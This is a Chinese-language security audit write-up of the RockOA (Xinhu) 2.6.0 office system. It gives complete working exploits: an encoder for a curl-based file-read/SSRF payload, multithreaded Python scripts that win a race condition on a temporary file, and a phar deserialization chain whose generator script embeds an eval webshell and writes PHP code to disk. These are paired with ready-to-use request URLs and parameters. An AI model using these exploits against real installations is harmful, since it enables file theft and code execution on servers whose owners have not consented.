官网:
http://www.rockoa.com/
2.6.0版,下载链接:
http://www.rockoa.com/view_down.html
一次鸡肋的php审计成果。
环境搭建
php7.3.4,使用phpstudy搭建,开启debug模式,在php.ini最后添加以下内容:
[XDebug]
zend_extension="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug.dll"
xdebug.profiler_output_dir ="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\tmp\xdebug"
xdebug.trace_output_dir="D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\tmp"
;是否开启自动跟踪
xdebug.auto_trace= 1
;启用性能检测分析
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
;是否开启远程调试
xdebug.remote_enable = 1
;调试插件dbgp
xdebug.remote_handler = "dbgp"
;允许调试的客户端IP(如果远程主机开放则填远程主机的ip)
xdebug.remote_host = "127.0.0.1"
;允许调试的端口
xdebug.remote_port = 9001
xdebug.remote_mode = "req"
;是否开启远程调试自动启动
xdebug.remote_autostart=1
xdebug.idekey = PHPSTORM
xdebug.remote_cookie_expire_time = 36000
max_execution_time=36000
max_input_time=36000
default_socket_timeout = 36000
apache配置文件最后加
ErrorDocument 510 /error/510.html
KeepAliveTimeout 5
MaxKeepAliveRequests 100
Timeout 36000
FcgidIOTimeout 36000
FcgidIdleTimeout 36000
IPCConnectTimeout 36000
IPCCommTimeout 36000
phpstrom配置debug:
设置debug监听的端口,地址,key。
设置debug的ip和端口。
最后添加debug服务。
文件读取漏洞(鸡肋,需要代码生成的随机秘钥)
index.php为入口文件,34行包含view.php。
view.php可以动态引用webmain目录下的各种文件。
我们顺着分析此漏洞,
asynrunAction.php存在downwxpicAction函数,并调用了downximg函数。
![](/files/attmgn/2024/7/admin20240702094029268.jpeg)
在69行,picurl参数被uncrypts函数解密。
然后又执行了uncrypts函数,这里是解密被加密的picurl参数。
![](/files/attmgn/2024/7/admin20240702094100987.jpeg)
asynrunAction.php中71行的m函数可以调用webmain/model下的文件,在rockFun.php中。
所以downximg函数在reimModel.php中,
在1579行,会先利用c函数去调用curlChajian.php的getcurl函数。
![](/files/attmgn/2024/7/admin20240702094139734.jpeg)
rockFun.php的c函数会调用到/include/chajian/目录下的文件。
curlChajian.php的getcurl函数,
75行设置url,90行,执行curl_exec函数,可以利用http,dict,file,gopher协议,
93行,返回访问的结果。
然后又回到reimModel.php的1580行,执行downChajian.php的createimage函数,
78行,利用file_put_contents函数保存文件,
88行和102行,如果我们生成的文件不满足条件,则会删除,
此时,就存在条件竞争,在同一时间大量访问此文件,再发送大量的请求,就有机会访问到我们的文件内容。
现在我们就需要构造url能调用到asynrunAction.php的downwxpicAction函数,
根据view.php,构造url,
http://192.168.0.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&asynkey=918b1e2c90b72136d2d863c02b602726 ,但是这里还缺一个加密后的picurl参数
这里的asynkey在asynrunAction.php中的构造函数中,
asynkey在webmainConfig.php文件中,
需要满足asynkey=md5(md5(asynkey)),
以此完整payload为:
http://192.168.191.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&picurl=pf0rp0rg0du0pf0gs0dc0dj0hk0dq0ah0kp0hp0ra0ak0db0hk0dr0gv0av0rf0ka0kd0kd0&msgid=1&asynkey=918b1e2c90b72136d2d863c02b602726
![](/files/attmgn/2024/7/admin20240702094250837.jpeg)
这里的原始asynkey后台也可以看(异步任务key,这里换了一个环境,导致异步任务key两次MD5加密与上面不一致)
payload:
攻击方式:
加密picurl参数传入,利用此脚本加密:
11行的payload参数利用file协议读取文件,自定义文件读取的路径。
import base64
a = "fdvzsakhgprcoxwuitjlbqynem"
b = {}
count = -1
for i in a:
count = count + 1
b[i] = count
print(b)
payload = "file:///D:/1.txt"
# print(base64.b64encode(payload.encode()).decode())
payload_encode = ""
for z in payload:
flag = False
for i in b.keys():
for j in b.keys():
c = str(b[i]) + str(b[j])
if chr(int(c)) == z:
print(str(i) + ":" + str(j) + " 字母:" + z)
payload_encode += (str(i) + str(j)) + "0"
flag = True
break
if flag:
break
print(payload_encode)
将加密的数据给picurl参数,
然后先执行此脚本(shiyan2.py),多线程访问系统自定义的文件名。
import requests
from datetime import datetime
import queue
import threading
#定义多线程类
class Thread_test(threading.Thread):
def __init__(self, que):
threading.Thread.__init__(self)
self.que = que
#执行多线程函数
def run(self):
while not self.que.empty():
#从列队取出target
target = self.que.get()
self.upload(target)
#需要多线程跑的函数
def upload(self, target):
# 获取当前时间
now = datetime.now()
try:
url_jpg = "http://192.168.191.249:8044/upload/" + str(now.year) + "-" + str(now.month) + "/" + str(now.month) + "_" + str(now.strftime("%H%M%S")) + target + ".jpg"
url_request = requests.get(url_jpg)
if url_request.status_code == 200:
print(url_request.content.decode("utf-8"))
except Exception:
pass
def multi_thread(thread_count):
getRLthread = [] # 线程列表
que = queue.Queue() # 定义队列变量
for i in range(1,100):
for target in range(0, 100):
que.put(str(target).zfill(2)) # 添加目标到队列中
for i in range(thread_count): # 创建多线程
getRLthread.append(Thread_test(que))
for i in getRLthread:
i.start()
for i in getRLthread:
i.join()
if __name__ == '__main__':
multi_thread(100)
之后再执行此脚本(shiyan1.py),多线程访问此url使服务器生成文件。
import requests
from datetime import datetime
import queue
import threading
#定义多线程类
class Thread_test(threading.Thread):
def __init__(self, que):
threading.Thread.__init__(self)
self.que = que
#执行多线程函数
def run(self):
while not self.que.empty():
#从列队取出target
target = self.que.get()
self.upload(target)
#需要多线程跑的函数
def upload(self, target):
try:
url = "http://192.168.191.249:8044/index.php?a=downwxpic&m=asynrun|api&d=task&ajaxbool=false&picurl=pf0rp0rg0du0pf0gs0dc0dj0hk0dq0ah0kp0hp0ra0ak0db0hk0dr0gv0av0rf0ka0kd0kd0&msgid=1&asynkey=918b1e2c90b72136d2d863c02b602726"
requests.get(url)
except Exception:
pass
def multi_thread(thread_count):
getRLthread = [] # 线程列表
que = queue.Queue() # 定义队列变量
for target in range(0, 1000000):
que.put(target) # 添加目标到队列中
for i in range(thread_count): # 创建多线程
getRLthread.append(Thread_test(que))
for i in getRLthread:
i.start()
for i in getRLthread:
i.join()
if __name__ == '__main__':
multi_thread(10000)
最终效果:
访问到我们生成的文件内容。
后台信息泄露(鸡肋,phpinfo)
http://192.168.162.249:8044/index.php?m=index&a=phpinfo&ajaxbool=false
tableAction.php可拼接,$sql.=" $name
";
但是堆叠注入时报错。
coginiAction.php
和
http://192.168.158.249:8044/index.php?d=task&m=login|api&a=downimg&ajaxbool=false
存在phar反序列化入口,还没有找到利用链。
反序列化漏洞(鸡肋,文件名截断后只能成生成空文件)
coginiAction.php的phpinisaveAction函数执行了file_exists函数,并且$path可控,
我们可以利用phar反序列化,就找到相关的反序列化利用链。
mysql.php的mysql类中存在__destruct()函数,此函数在对象被销毁时执行,
80行的$this->rock可控,设置为rockClass类。
76行需要开启sql日志。
就会进入rockClass类的createtxt函数。
回到mysql.php中,78行的$filstr可控(因为$this->rock->adminid可控),
它被拼接到文件名中,
文件名为:时间+$filstr+随机字符.log,
那么我们可以利用:来截断绕过,
$this->rock->now也可控,此变量被拼接到写入的内容中,
79行的$this->sqlarr不能为空数组。
使用phar生成phar文件时,需要将php.ini中的phar.readonly设置为0。
payload.php:
<?php
abstract class mysql{
public $rock;
public function __construct($set_rock)
{
$this->rock = $set_rock;
$this->sqlarr = ["a", "b"];
}
}
final class rockClass{
public $adminid;
public $now;
public function __construct($set_adminid, $set_now)
{
$this->adminid = $set_adminid;
$this->now = $set_now;
}
}
$path = "1.php:";
$now = "\n<?php phpinfo(); ?>\n";
class mysqliClass extends mysql{
}
$payload = new mysqliClass(new rockClass($path, $now));
//echo base64_encode(serialize($payload));
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
//将反序列化的对象放入该文件中
$phar->setMetadata($payload);
//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.php", "<?php @eval(\$_GET[v]);?>");
$phar->stopBuffering();
访问payload.php生成了phar.phar,将phar.phar改成phar.jpg,
之后在后台更改头像处上传phar.jpg文件。
返回路径:upload\/2023-12\/14_15164671.jpg
之后访问存在phar反序列化的url,
http://192.168.105.249:8044/index.php?d=system&m=cogini&a=phpinisave&ajaxbool=false
post:
path=phar://D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\ccc.com\xinhu-master\upload\2023-12\14_15164671.jpg\test.php
生成成功。
![](/files/attmgn/2024/7/admin20240702094448362.png)
该文章在 2024/7/2 10:00:26 编辑过